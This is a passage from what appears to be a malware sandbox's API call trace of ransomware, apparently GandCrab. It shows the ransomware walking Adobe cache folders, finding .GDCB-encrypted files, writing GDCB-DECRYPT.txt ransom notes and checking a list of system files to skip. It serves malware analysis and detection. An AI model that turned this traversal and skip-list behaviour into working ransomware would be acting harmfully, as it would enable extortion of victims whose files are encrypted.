Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 174 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.098] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.098] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.098] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.098] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 173 [0170.098] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.098] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.098] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.098] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.099] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 172 [0170.099] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.100] GetLastError () returned 0x50 [0170.100] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.100] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 155 [0170.100] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.100] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.100] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.100] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.100] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.100] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.100] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.100] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.100] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.100] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.100] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.100] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 173 [0170.101] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 173 [0170.101] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.101] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.101] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.101] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.101] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.101] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.101] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 173 [0170.101] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 173 [0170.101] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.101] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.101] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.101] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.101] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.101] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.101] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 172 [0170.101] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 172 [0170.101] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.102] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.102] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.102] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.102] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.102] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.102] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 172 [0170.102] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 172 [0170.102] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.102] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.102] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.102] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.102] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.102] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0170.102] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.102] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.102] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.102] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 161 [0170.102] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.102] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e98 [0170.103] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.103] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.103] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.103] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.103] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.103] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.103] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.103] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.103] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 174 [0170.103] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.103] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.103] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.103] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.103] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.103] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 174 [0170.103] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.103] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.103] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.103] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.103] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.103] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 177 [0170.103] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.103] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.103] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.103] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.103] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 178 [0170.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.105] GetLastError () returned 0x50 [0170.105] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.105] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 161 [0170.105] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.105] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.105] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.105] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.105] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.105] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.105] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.105] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0170.105] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0170.105] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.105] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.105] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 174 [0170.105] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 174 [0170.105] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.106] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.106] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0170.106] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0170.106] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0170.106] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.106] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 174 [0170.106] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 174 [0170.106] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.106] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.106] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.106] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.106] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.106] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.106] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 177 [0170.106] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 177 [0170.106] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 177 [0170.106] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 177 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.106] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.107] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.107] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.107] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.107] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.107] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.107] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.107] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", 